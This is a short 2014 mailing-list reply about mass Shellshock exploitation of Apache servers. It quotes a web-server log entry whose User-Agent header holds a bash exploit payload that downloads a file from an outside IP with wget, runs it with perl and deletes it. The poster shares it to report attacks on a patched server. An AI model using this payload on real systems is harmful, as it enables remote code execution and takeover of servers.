On 9/26/2014 2:51 PM, Always Learning wrote:
> Probably all Windoze
linux apache web servers with the bash exploit are getting owned en
masse today. my (patched) internet web server has logged 100s and
100s of attempts like...
66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] "GET /cgi-bin/test.sh
HTTP/1.0" 404 294 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1
208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""
--
john r pierce 37N 122W
somewhere on the middle of the left coast